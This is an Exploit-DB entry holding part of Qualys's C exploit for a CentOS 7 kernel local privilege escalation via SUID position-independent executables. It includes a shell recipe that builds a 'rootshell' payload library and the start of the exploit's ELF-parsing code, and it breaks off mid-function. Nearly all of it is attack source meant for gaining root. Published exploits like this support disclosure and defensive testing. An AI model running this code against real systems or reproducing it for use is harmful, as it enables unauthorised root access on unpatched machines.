Exploit-DB #42887
Description: Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_64 (CentOS 7) - SUID Position Independent Executable 'PIE' Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-09-26
Author: Qualys Corporation

Exploit:
/*
 * CVE-2[PII_REDACTED].c - an exploit for CentOS-7 kernel versions
 * 3.10.0-514.21.2.el7.x86_64 and 3.10.0-514.26.1.el7.x86_64
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
* 
* E-DB Note: https://www.qualys.com/2017/09/26/linux-pie-cve-2[PII_REDACTED]/cve-2[PII_REDACTED].txt
* E-DB Note: https://www.qualys.com/2017/09/26/linux-pie-cve-2[PII_REDACTED]/cve-2[PII_REDACTED].c
* E-DB Note: http://seclists.org/oss-sec/2017/q3/541
*/

/**
cat > rootshell.c << "EOF"
#define _GNU_SOURCE
#include <linux/capability.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define die() exit(__LINE__)
static void __attribute__ ((constructor)) status(void) {
    if (dup2(STDIN_FILENO, STDOUT_FILENO) != STDOUT_FILENO) die();
    if (dup2(STDIN_FILENO, STDERR_FILENO) != STDERR_FILENO) die();
    const pid_t pid = getpid();
    if (pid <= 0) die();
    printf("Pid:\t%zu\n", (size_t)pid);
    uid_t ruid, euid, suid;
    gid_t rgid, egid, sgid;
    if (getresuid(&ruid, &euid, &suid)) die();
    if (getresgid(&rgid, &egid, &sgid)) die();
    printf("Uid:\t%zu\t%zu\t%zu\n", (size_t)ruid, (size_t)euid, (size_t)suid);
    printf("Gid:\t%zu\t%zu\t%zu\n", (size_t)rgid, (size_t)egid, (size_t)sgid);
    static struct __user_cap_header_struct header;
    if (capget(&header, NULL)) die();
    if (header.version <= 0) die();
    header.pid = pid;
    static struct __user_cap_data_struct data[2];
    if (capget(&header, data)) die();
    printf("CapInh:\t%08x%08x\n", data[1].inheritable, data[0].inheritable);
    printf("CapPrm:\t%08x%08x\n", data[1].permitted, data[0].permitted);
    printf("CapEff:\t%08x%08x\n", data[1].effective, data[0].effective);
    fflush(stdout);
    for (;;) sleep(10);
    die();
}
EOF
gcc -fpic -shared -nostartfiles -Os -s -o rootshell rootshell.c
xxd -i rootshell > rootshell.h
**/

#define _GNU_SOURCE
#include <elf.h>
#include <fcntl.h>
#include <link.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define mempset(_s, _c, _n) (memset((_s), (_c), (_n)) + (_n))

#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define SUB_STACK_RAND ((size_t)8192)
#define SAFE_STACK_SIZE ((size_t)24<<10)
#define MAX_ARG_STRLEN ((size_t)128<<10)

#define INIT_STACK_EXP (131072UL)
#define STACK_GUARD_GAP (1UL<<20)
#define MIN_GAP (128*1024*1024UL + (((-1UL) & 0x3fffff) << 12))

#define LDSO "/lib64/ld-linux-x86-64.so.2"
#define LDSO_OFFSET ((size_t)0x238)

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const ElfW(auxv_t) * my_auxv;

static unsigned long int
my_getauxval (const unsigned long int type)
{
    const ElfW(auxv_t) * p;

    if (!my_auxv) die();
    for (p = my_auxv; p->a_type != AT_NULL; p++)
        if (p->a_type == type)
            return p->a_un.a_val;
    die();
}

struct elf_info {
    uintptr_t rx_start, rx_end;
    uintptr_t rw_start, rw_end;
    uintptr_t dynamic_start;
    uintptr_t data_start;
};

static struct elf_info
get_elf_info(const char * const binary)
{
    struct elf_info elf;
    memset(&elf, 0, sizeof(elf));

    const int fd = open(binary, O_RDONLY);
    if (fd <= -1) die();
    struct stat st;
    if (fstat(fd, &st)) die();
    if (!S_ISREG(st.st_mode)) die();
    if (st.st_size <= 0) die();
    #define SAFESZ ((size_t)64<<20)
    if (st.st_size >= (ssize_t)SAFESZ) die();
    const size_t size = st.st_size;
    uint8_t * const buf = malloc(size);
    if (!buf) die();
    if (read(fd, buf, size) != (ssize_t)size) die();
    if (close(fd)) die();

    if (size <= LDSO_OFFSET + sizeof(LDSO)) die();
    if (memcmp(buf + LDSO_OFFSET, LDSO, sizeof(LDSO))) die();

    if (size <= sizeof(ElfW(Ehdr))) die();
    const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
    if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
    if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
    if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
    if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
    if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die();
    if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
    if (ehdr->e_type != ET_DYN) die();
    if (ehdr->e_machine != EM_X86_64) die();
    if (ehdr->e_version != EV_CURRENT) die();
    if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
    if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
    if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();

    unsigned int i;
    for (i = 0; i < ehdr->e_phnum; i++) {
        const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
        if (phdr->p_type != PT_LOAD) continue;
        if (phdr->p_offset >= size) die();
        if (phdr->p_filesz > size - phdr->p_offset) die();
        if (phdr->p_filesz > phdr->p_memsz) die();
        if (phdr->p_vaddr != phdr->p_paddr) die();
        if (phdr->p_vaddr >= SAFESZ) die();
        if (phdr->p_memsz >= SAFESZ) die();
        if (phdr->p_memsz <= 0) die();
        if (phdr->p_align != 2 * STACK_GUARD_GAP) die();

        c